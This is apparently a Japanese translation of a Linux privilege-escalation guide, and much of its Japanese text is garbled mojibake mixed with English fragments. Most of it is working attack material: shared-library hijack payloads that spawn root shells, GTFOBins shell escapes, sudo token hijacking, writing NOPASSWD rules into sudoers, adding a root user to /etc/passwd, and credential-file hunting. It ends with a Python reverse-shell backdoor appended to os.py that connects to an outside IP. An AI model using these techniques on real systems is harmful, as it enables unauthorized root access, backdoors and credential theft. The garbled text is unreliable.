äŸãã°ã_âopen(â/path/to/.config/libcalc.soâ, O_RDONLY) = -1 ENOENT (No such file or directory)â_ã«ééããå Žåãããã¯æªçšã®å¯èœæ§ã瀺åããŸãã
ãããæªçšããã«ã¯ã次ã®ã³ãŒããå«ãCãã¡ã€ã«ãäŸãã°_â/path/to/.config/libcalc.câ_ãäœæããŸã:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
ãã®ã³ãŒãã¯ãã³ã³ãã€ã«ããŠå®è¡ãããšããã¡ã€ã«ã®ããŒããã·ã§ã³ãæäœããŠæš©éãææ Œãããææ Œããæš©éã§ã·ã§ã«ãå®è¡ããããšãç®çãšããŠããŸãã
äžèšã® C file ã shared object (.so) ãã¡ã€ã«ã«ã³ã³ãã€ã«ããã«ã¯:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
æåŸã«ã圱é¿ãåãã SUID ãã€ããªãå®è¡ãããš exploit ãããªã¬ãŒãããã·ã¹ãã ã®äŸµå®³ãçºçããå¯èœæ§ããããŸãã
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
æžã蟌ã¿å¯èœãªãã©ã«ããã library ãèªã¿èŸŒã SUID binary ãèŠã€ããã®ã§ããã®ãã©ã«ãã«å¿ èŠãªååã® library ãäœæããŸããã:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
次ã®ãããªãšã©ãŒãçºçããå Žå
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
ã€ãŸããçæããã©ã€ãã©ãªã¯ a_function_name ãšããååã®é¢æ°ãæã£ãŠããå¿
èŠããããŸãã
GTFOBins
GTFOBins ã¯ãæ»æè ãããŒã«ã«ã®ã»ãã¥ãªãã£å¶éãåé¿ããããã«æªçšã§ãã Unix ãã€ããªã粟éžãããªã¹ãã§ããGTFOArgs ã¯åæ§ã®ãããžã§ã¯ãã§ãã³ãã³ãã«å¯ŸããŠåŒæ°ã®ã¿ãæ³šå ¥ã§ããã±ãŒã¹ã察象ãšããŠããŸãã
ãã®ãããžã§ã¯ãã¯ãå¶éãããã·ã§ã«ããã®è±åºãç¹æš©ææ Œãç¶æããã¡ã€ã«è»¢éãbind ããã³ reverse ã·ã§ã«ã®çæããããŠãã®ä»ã® post-exploitation tasks ãæ¯æŽããããã«æªçšã§ãã Unix ãã€ããªã®æ£åœãªæ©èœãåéããŠããŸãã
gdb -nx -ex â!shâ -ex quit
sudo mysql -e â! /bin/shâ
strace -o /dev/null /bin/sh
sudo awk âBEGIN {system(â/bin/shâ)}â
FallOfSudo
sudo -l ã«ã¢ã¯ã»ã¹ã§ããå ŽåãããŒã« FallOfSudo ã䜿ã£ãŠãsudo ã®ã«ãŒã«ãæªçšã§ããæ¹æ³ãèŠã€ãããããã©ããã確èªã§ããŸãã
Sudo ããŒã¯ã³ã®åå©çš
ãã¹ã¯ãŒãã¯ç¥ããªãã sudo access ãããå Žåãsudo ã³ãã³ãã®å®è¡ãåŸ ã£ãŠã»ãã·ã§ã³ããŒã¯ã³ããã€ãžã£ãã¯ããããšã§ç¹æš©ãææ Œãããããšãã§ããŸãã
ç¹æš©ææ Œã®èŠä»¶:
- ããªãã¯æ¢ã«ãŠãŒã¶ãŒ âsampleuserâ ãšããŠã·ã§ã«ãæã£ãŠããŸã
- âsampleuserâ ã
sudoã䜿çšã㊠éå»15å以å ã«äœããå®è¡ããŠããïŒããã©ã«ãã§ã¯ãããããã¹ã¯ãŒããå ¥åããã«sudoã䜿çšã§ãã sudo ããŒã¯ã³ã®æå¹æéã§ãïŒ cat /proc/sys/kernel/yama/ptrace_scopeã 0 ã§ããããšgdbã«ã¢ã¯ã»ã¹ã§ããããšïŒã¢ããããŒãå¯èœã§ããããšïŒ
ïŒptrace_scope ãäžæçã«æå¹åããã«ã¯ echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ãå®è¡ãããã/etc/sysctl.d/10-ptrace.conf ãæä¹
çã«ä¿®æ£ã㊠kernel.yama.ptrace_scope = 0 ãèšå®ããŸãïŒ
ãããã®èŠä»¶ããã¹ãŠæºããããŠããå Žåãæ¬¡ã®ããŒã«ã䜿ã£ãŠç¹æš©ãææ Œã§ããŸãïŒ https://github.com/nongiach/sudo_inject
- æåã®exploitïŒ
exploit.shïŒã¯ãã€ããªactivate_sudo_tokenã /tmp ã«äœæããŸããããã䜿ã£ãŠã»ãã·ã§ã³å ã® sudo ããŒã¯ã³ãæå¹åã§ããŸãïŒèªåçã« root ã·ã§ã«ã¯åŸãããªãã®ã§ãsudo suãå®è¡ããŠãã ããïŒïŒ
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- 2çªç®ã® exploit (
exploit_v2.sh) 㯠/tmp ã« root ææã§ setuid ãæã€ sh shell ãäœæããŸã
bash exploit_v2.sh
/tmp/sh -p
- The third exploit (
exploit_v3.sh) 㯠sudoers file ãäœæããsudo tokens ãæ°žç¶åããŠå šãŠãŒã¶ãŒã sudo ã䜿çšã§ããããã«ããŸã
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
ãã©ã«ããŸãã¯ãã©ã«ãå
ã«äœæããããã¡ã€ã«ã®ããããã«æžãèŸŒã¿æš©éãããå Žåããã€ããªwrite_sudo_tokenã䜿çšããŠãŠãŒã¶ãŒãš PID ã®ããã® sudo token ãäœæã§ããŸãã
äŸãã°ããã¡ã€ã« /var/run/sudo/ts/sampleuser ãäžæžãã§ãããã®ãŠãŒã¶ãŒãšã㊠PID 1234 ã®ã·ã§ã«ãæã£ãŠããå Žåããã¹ã¯ãŒããç¥ããªããŠãsudo privilegesãååŸã§ããŸããæ¬¡ã®ããã«:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
The file /etc/sudoers and the files inside /etc/sudoers.d configure who can use sudo and how. These files by default can only be read by user root and group root./etc/sudoers ãš /etc/sudoers.d å
ã®ãã¡ã€ã«ã¯èª°ã sudo ã䜿ããããšãã®æ¹æ³ãèšå®ããŸãããããã®ãã¡ã€ã«ã¯ ããã©ã«ãã§ user root ãš group root ã®ã¿ãèªã¿åããŸãã
ãããã®ãã¡ã€ã«ãèªã¿åãããªããè峿·±ãæ
å ±ãååŸã§ããå¯èœæ§ããããŸãããŸããä»»æã®ãã¡ã€ã«ã«æžã蟌ã¿ã§ãããªããæš©éææ Œãå¯èœã«ãªããŸãã
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
æžãèŸŒã¿æš©éãããã°ããã®æš©éãæªçšã§ããŸã
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
ãããã®æš©éãæªçšããå¥ã®æ¹æ³:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
sudo ãã€ããªã®ä»£æ¿ãšããŠãOpenBSDåãã® doas ãªã©ããããŸããèšå®ã¯ /etc/doas.conf ãå¿
ã確èªããŠãã ããã
permit nopass demo as root cmd vim
Sudo Hijacking
ãããŠãŒã¶ãŒãéåžžãã·ã³ã«æ¥ç¶ã㊠sudo ã䜿çšããããšã§æš©éãææ ŒããŠããããã€ãã®ãŠãŒã¶ãŒã³ã³ããã¹ãå
ã§ã·ã§ã«ãåŸãŠããå Žåãroot ãšããŠããªãã®ã³ãŒããå®è¡ããã®åŸãŠãŒã¶ãŒã®ã³ãã³ããå®è¡ãããããªæ°ãã sudo å®è¡ãã¡ã€ã«ãäœæã§ããŸããæ¬¡ã«ããŠãŒã¶ãŒã³ã³ããã¹ãã® $PATH ã倿ŽïŒäŸãã°æ°ãããã¹ã .bash_profile ã«è¿œå ïŒããŠããŠãŒã¶ãŒã sudo ãå®è¡ãããšãã«ããªãã® sudo å®è¡ãã¡ã€ã«ãå®è¡ãããããã«ããŸãã
ãŠãŒã¶ãŒãå¥ã®ã·ã§ã«ïŒbash 以å€ïŒã䜿çšããŠããå Žåã¯ãæ°ãããã¹ã远å ããããã«ä»ã®ãã¡ã€ã«ã倿Žããå¿
èŠãããç¹ã«æ³šæããŠãã ãããäŸãã° sudo-piggyback 㯠~/.bashrc, ~/.zshrc, ~/.bash_profile ãä¿®æ£ããŸããå¥ã®äŸã¯ bashdoor.py ã«ãããŸãã
ãããã¯æ¬¡ã®ããã«å®è¡ãã:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo âexport PATH=/tmp:$PATHâ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
å ±æã©ã€ãã©ãª
ld.so
The file /etc/ld.so.conf indicates èªã¿èŸŒãŸããèšå®ãã¡ã€ã«ã®å Žæã瀺ããŸã. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf
That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files ä»ã®ãã£ã¬ã¯ããªãæã where ã©ã€ãã©ãª are going to be æ€çŽ¢ãããŸã. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.
If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder within the config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges.
Take a look at ãã®ãã¹ã³ã³ãã£ã®ã¥ã¬ãŒã·ã§ã³ãã©ã®ããã«æªçšããã in the following page:
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
lib ã /var/tmp/flag15/ ã«ã³ããŒãããšãRPATH 倿°ã§æå®ããããšããããã®å Žæã® lib ãããã°ã©ã ã§äœ¿çšãããŸãã
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
次ã«ã/var/tmp ã«æªæã®ããã©ã€ãã©ãªã次ã®ã³ãã³ãã§äœæããŸã: gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
Capabilities
Linux capabilities 㯠ããã»ã¹ã«å¯Ÿããå©çšå¯èœãª root æš©éã®ãµãã»ãã ãæäŸããŸãããã㯠root ã® æš©éãããå°ããèå¥å¯èœãªåäœã«åå² ããããšã广çã«æå³ããŸãããããã®ååäœã¯åå¥ã«ããã»ã¹ã«ä»äžã§ãããããæš©éã®å®å
šãªéåãçž®å°ãããæªçšã®ãªã¹ã¯ãäœæžãããŸãã
以äžã®ããŒãžãèªãã§ãcapabilities ãšãããã®æªç𿹿³ã®è©³çްãåŠãã§ãã ããïŒ
Directory permissions
ãã£ã¬ã¯ããªã§ã¯ãâexecuteâ ããã ã¯åœ±é¿ãåãããŠãŒã¶ãŒã âcdâ ã§ãã©ã«ãã«å
¥ããããšãæå³ããŸãã
âreadâ ãããã¯ãŠãŒã¶ãŒã âlistâ ã«ãã£ãŠ âfilesâ ãäžèЧã§ããããšãæå³ããâwriteâ ãããã¯ãŠãŒã¶ãŒã âdeleteâ ããã³ âcreateâ ã«ãã£ãŠæ°ãã âfilesâ ãäœæã»åé€ã§ããããšãæå³ããŸãã
ACLs
Access Control Lists (ACLs) ã¯ä»»æã®æš©éã®ç¬¬2å±€ã衚ããåŸæ¥ã® ugo/rwx æš©éããªãŒããŒã©ã€ãããããšãå¯èœã§ãããããã®æš©éã¯ãææè ã§ãã°ã«ãŒãã®äžå¡ã§ããªãç¹å®ã®ãŠãŒã¶ãŒã«å¯ŸããŠæš©å©ãèš±å¯ãŸãã¯æåŠããããšã§ããã¡ã€ã«ããã£ã¬ã¯ããªãžã®ã¢ã¯ã»ã¹å¶åŸ¡ã匷åããŸãããã®ã¬ãã«ã® ç²åºŠã«ãããããæ£ç¢ºãªã¢ã¯ã»ã¹ç®¡çãå¯èœ ã«ãªããŸãã詳现㯠here ãåç §ããŠãã ããã
ä»äžãã ãŠãŒã¶ãŒ âkaliâ ã«ãã¡ã€ã«ã®èªã¿åãããã³æžãèŸŒã¿æš©éã:
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
ååŸãã ã·ã¹ãã ããç¹å®ã®ACLsãæã€ãã¡ã€ã«:
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
shell ã»ãã·ã§ã³ãéã
å€ãããŒãžã§ã³ã§ã¯ãå¥ã®ãŠãŒã¶ãŒïŒrootïŒã®ããã€ãã®shellã»ãã·ã§ã³ãhijackã§ããããšããããŸã.\
ææ°ã®ããŒãžã§ã³ã§ã¯ãscreen ã»ãã·ã§ã³ã«ã¯èªåã®ãŠãŒã¶ãŒã®ãã®ã«ã®ã¿æ¥ç¶ã§ããŸããããããã»ãã·ã§ã³å
ã®è峿·±ãæ
å ±ãèŠã€ããããšããããŸãã
screen sessions hijacking
screen ã»ãã·ã§ã³ãäžèŠ§è¡šç€º
screen -ls
screen -ls <username>/ # Show another user' screen sessions
.png)
ã»ãã·ã§ã³ã«ã¢ã¿ãããã
screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]
tmux sessions hijacking
ãã㯠å€ã tmux ããŒãžã§ã³ ã®åé¡ã§ãããéç¹æš©ãŠãŒã¶ãŒãšã㊠root ã«ãã£ãŠäœæããã tmux (v2.1) ã»ãã·ã§ã³ããã€ãžã£ãã¯ã§ããŸããã§ããã
tmux ã»ãã·ã§ã³ãäžèŠ§è¡šç€º
tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
.png)
ã»ãã·ã§ã³ã«ã¢ã¿ãããã
tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
äŸãšã㊠Valentine box from HTB ã確èªããŠãã ããã
SSH
Debian OpenSSL Predictable PRNG - CVE-2008-0166
2006幎9æãã2008幎5æ13æ¥ãŸã§ã®éã« Debian ããŒã¹ã®ã·ã¹ãã ïŒUbuntu, Kubuntu, ãªã©ïŒã§çæããããã¹ãŠã® SSL ããã³ SSH ããŒã¯ããã®ãã°ã®åœ±é¿ãåããŠããå¯èœæ§ããããŸãã
ãã®ãã°ã¯ãããã® OS ã§æ°ãã ssh key ãäœæããéã«çºçããŸãããªããªã å¯èœæ§ã¯ããã 32,768 éããããªãã£ã ããã§ããããã¯ãã¹ãŠã®çµã¿åãããèšç®ã§ããããšãæå³ããssh public key ãæã£ãŠããã°å¯Ÿå¿ãã private key ãæ€çŽ¢ã§ããŸããèšç®æžã¿ã®çµã¿åããã¯ããã§èŠã€ããããšãã§ããŸã: https://github.com/g0tmi1k/debian-ssh
SSH Interesting configuration values
- PasswordAuthentication: ãã¹ã¯ãŒãèªèšŒãèš±å¯ããããã©ãããæå®ããŸããããã©ã«ãã¯
noã§ãã - PubkeyAuthentication: å
¬ééµèªèšŒãèš±å¯ããããã©ãããæå®ããŸããããã©ã«ãã¯
yesã§ãã - PermitEmptyPasswords: ãã¹ã¯ãŒãèªèšŒãèš±å¯ãããŠããå Žåã«ããµãŒãã空ã®ãã¹ã¯ãŒãæååã®ã¢ã«ãŠã³ãã§ã®ãã°ã€ã³ãèš±å¯ãããã©ãããæå®ããŸããããã©ã«ãã¯
noã§ãã
PermitRootLogin
root ã ssh ã䜿ã£ãŠãã°ã€ã³ã§ãããã©ãããæå®ããŸããããã©ã«ã㯠no ã§ããå¯èœãªå€:
yes: root 㯠password ãš private key ã®äž¡æ¹ã§ãã°ã€ã³ã§ããŸãwithout-passwordorprohibit-password: root 㯠private key ã®ã¿ã§ãã°ã€ã³ã§ããŸãforced-commands-only: root 㯠private key ã䜿çšããã〠commands options ãæå®ãããŠããå Žåã«ã®ã¿ãã°ã€ã³ã§ããŸãno: èš±å¯ããªã
AuthorizedKeysFile
ãŠãŒã¶èªèšŒã«äœ¿çšã§ãã public keys ãå«ããã¡ã€ã«ãæå®ããŸãã%h ã®ãããªããŒã¯ã³ãå«ããããšãã§ããããŒã ãã£ã¬ã¯ããªã«çœ®æãããŸãã絶察ãã¹ïŒ/ ã§å§ãŸãïŒãŸãã¯ãŠãŒã¶ã®ããŒã ããã®çžå¯Ÿãã¹ãæå®ã§ããŸããäŸãã°:
AuthorizedKeysFile .ssh/authorized_keys access
ãã®èšå®ã¯ããããŠãŒã¶ãŒãtestusernameãã®privateããŒã§ãã°ã€ã³ããããšããå Žåãssh ã¯ããªãã®ããŒã®public key ã /home/testusername/.ssh/authorized_keys ãš /home/testusername/access ã«ãããã®ãšæ¯èŒããããšã瀺ããŸãã
ForwardAgent/AllowAgentForwarding
SSH agent forwarding ã«ããããµãŒããŒäžã«ïŒwithout passphrases!ïŒéµãæ®ããŠãã代ããã«ãuse your local SSH keys instead of leaving keys ããšãã§ããŸããã€ãŸããssh ã§ to a host ã« jump ãããããã initial host ã«ãã key ã䜿ã£ãŠå¥ã®ãã¹ãã« jump to another ããšãå¯èœã«ãªããŸãã
ãã®ãªãã·ã§ã³ã¯ $HOME/.ssh.config ã«æ¬¡ã®ããã«èšå®ããå¿
èŠããããŸã:
Host example.com
ForwardAgent yes
Notice that if Host is * every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue).
ãã¡ã€ã« /etc/ssh_config ã¯ãã®ãªãã·ã§ã³ãäžæžãã§ãããã®èšå®ãèš±å¯ãŸãã¯æåŠã§ããŸãã
ãã¡ã€ã« /etc/sshd_config ã¯ããŒã¯ãŒã AllowAgentForwarding ã§ ssh-agent ãã©ã¯ãŒãã£ã³ã°ãèš±å¯ãŸãã¯æåŠã§ããŸãïŒããã©ã«ãã¯èš±å¯ïŒã
ç°å¢ã§ Forward Agent ãèšå®ãããŠããã®ãèŠã€ããããæ¬¡ã®ããŒãžãèªãã§ãã ããããããæªçšããŠæš©éãææ Œã§ããå¯èœæ§ããããŸãïŒ
SSH Forward Agent exploitation
è峿·±ããã¡ã€ã«
ãããã¡ã€ã«ãã¡ã€ã«
ãã¡ã€ã« /etc/profile ãš /etc/profile.d/ 以äžã®ãã¡ã€ã«ã¯ããŠãŒã¶ãæ°ããã·ã§ã«ãå®è¡ãããšãã«å®è¡ãããã¹ã¯ãªããã§ãããããã£ãŠããããã®ããããã«æžã蟌ã¿ãŸãã¯å€æŽã§ããå Žåãæš©éãææ Œã§ããŸãã
ls -l /etc/profile /etc/profile.d/
ããäžå¯©ãªãããã¡ã€ã«ã¹ã¯ãªãããèŠã€ãã£ãããæ©å¯æ å ±ããªãã確èªããŠãã ããã
Passwd/Shadow ãã¡ã€ã«
OSã«ãã£ãŠã¯/etc/passwdã/etc/shadowã®ãã¡ã€ã«åãç°ãªãããŸãã¯ããã¯ã¢ãããååšããå ŽåããããŸãããããã£ãŠããã¹ãŠãèŠã€ãåºããããããèªã¿åããã確èªãããã¡ã€ã«å
ã«ããã·ã¥ãå«ãŸããŠãããã調ã¹ãããšãæšå¥šããŸã:
#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
å Žåã«ãã£ãŠã¯ã/etc/passwdïŒãŸãã¯åçã®ãã¡ã€ã«ïŒå
ã«password hashesãèŠã€ããããšããããŸãã
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
Writable /etc/passwd
ãŸããæ¬¡ã®ã³ãã³ãã®ããããã§ãã¹ã¯ãŒããçæããŸãã
openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
次ã«ããŠãŒã¶ãŒ hacker ã远å ããçæããããã¹ã¯ãŒããèšå®ããŠãã ããã
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
äŸ: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
ããã§suã³ãã³ããhacker:hackerã§äœ¿çšã§ããŸãã
ãããã¯ã以äžã®è¡ã䜿ã£ãŠãã¹ã¯ãŒããªãã®ãããŒã®ãŠãŒã¶ãŒã远å ã§ããŸãã
èŠå: ãã·ã³ã®çŸåšã®ã»ãã¥ãªãã£ãäœäžããå¯èœæ§ããããŸãã
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
泚æ: BSDãã©ãããã©ãŒã ã§ã¯ /etc/passwd 㯠/etc/pwd.db ããã³ /etc/master.passwd ã«ããããŸã /etc/shadow 㯠/etc/spwd.db ã«ãªããŒã ãããŠããŸãã
ããã€ãã®æ©å¯ãã¡ã€ã«ã«æžã蟌ã¿å¯èœã確èªããå¿ èŠããããŸããäŸãã°ãããã€ãã®ãµãŒãã¹æ§æãã¡ã€ã«ã«æžã蟌ããŸããïŒ
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
äŸãã°ããã·ã³ã tomcat ãµãŒããå®è¡ããŠããŠãã〠/etc/systemd/ å ã® Tomcat ãµãŒãã¹èšå®ãã¡ã€ã«ã倿Žã§ãã, ãªããæ¬¡ã®è¡ã倿Žã§ããŸã:
ExecStart=/path/to/backdoor
User=root
Group=root
ããªãã® backdoor ã¯æ¬¡å tomcat ãèµ·åãããšãã«å®è¡ãããŸãã
ãã©ã«ãã確èª
以äžã®ãã©ã«ãã«ã¯ããã¯ã¢ãããè峿·±ãæ å ±ãå«ãŸããŠããå¯èœæ§ããããŸã: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root ïŒæåŸã®ãã®ã¯ããããèªã¿åããªãã§ããããã詊ããŠã¿ãŠãã ããïŒ
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
å¥åŠãªå Žæ/Owned files
#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf " Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done
çŽè¿æ°åã§å€æŽããããã¡ã€ã«
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
Sqlite DB ãã¡ã€ã«
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ãã¡ã€ã«
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
é ããã¡ã€ã«
find / -type f -iname ".*" -ls 2>/dev/null
PATHå ã® Script/Binaries
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
Web ãã¡ã€ã«
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
ããã¯ã¢ãã
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
ãã¹ã¯ãŒããå«ãæ¢ç¥ã®ãã¡ã€ã«
linPEAS ã®ã³ãŒããèªãã§ãã ããããã㯠ãã¹ã¯ãŒããå«ãã§ããå¯èœæ§ã®ããè€æ°ã®ãã¡ã€ã« ãæ€çŽ¢ããŸãã
ããäžã€ã®è峿·±ãããŒã« ãšããŠå©çšã§ããã®ã¯: LaZagne ã§ãããŒã«ã«ã³ã³ãã¥ãŒã¿ã«ä¿åããã倿°ã®ãã¹ã¯ãŒããååŸããããã®ãªãŒãã³ãœãŒã¹ã®ã¢ããªã±ãŒã·ã§ã³ã§ã (Windows, Linux & Mac)ã
ãã°
ãã°ãèªãããªãããã®äžããè峿·±ãïŒæ©å¯æ
å ±ãèŠã€ãããããããããŸããããã°ãå¥åŠã§ããã°ããã»ã©ãïŒããããïŒããè峿·±ããªããŸãã
ãŸããäžéšã® âäžé©åâ ã«èšå®ãããïŒbackdooredïŒïŒaudit logs ã¯ãæçš¿ã§èª¬æãããŠããããã« audit logs å
ã«ãã¹ã¯ãŒãã èšé²ãã ããšãå¯èœã«ããå ŽåããããŸã: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
ãã°ãèªãããã«ã¯ããã°ãèªãã°ã«ãŒã adm ãéåžžã«åœ¹ç«ã¡ãŸãã
ã·ã§ã«ãã¡ã€ã«
~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell
Generic Creds Search/Regex
ãã¡ã€ã«åïŒååïŒãå
容ã®äžã«ãpasswordããšããåèªãå«ãŸããŠãããã¡ã€ã«ã確èªããŠãã ããããŸãããã°å
ã®IPãã¡ãŒã«ãããã·ã¥ã®regexpããã§ãã¯ããŠãã ããã
ããã§ã¯ããããã¹ãŠã®ããæ¹ãåæããŸããããèå³ãããã° linpeas ãå®è¡ããæåŸã®ãã§ãã¯ã確èªããŠãã ããã
æžã蟌ã¿å¯èœãªãã¡ã€ã«
Python library hijacking
ãã python ã¹ã¯ãªãããã©ãããå®è¡ãããããåãã£ãŠããŠããã®ãã©ã«ãã«æžã蟌ã¿ã§ããããŸãã¯python ã©ã€ãã©ãªã倿Žã§ããå ŽåãOS ã©ã€ãã©ãªãä¿®æ£ã㊠backdoor ã§ããŸãïŒpython ã¹ã¯ãªãããå®è¡ãããå Žæã«æžã蟌ã¿å¯èœãªããos.py ã©ã€ãã©ãªãã³ããŒããŠè²Œãä»ããŠãã ããïŒã
backdoor the libraryããã«ã¯ãos.py ã©ã€ãã©ãªã®æ«å°Ÿã«æ¬¡ã®è¡ã远å ããŠãã ããïŒIP ãš PORT ã倿ŽããŠãã ããïŒïŒ
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Logrotate ã®æªçš
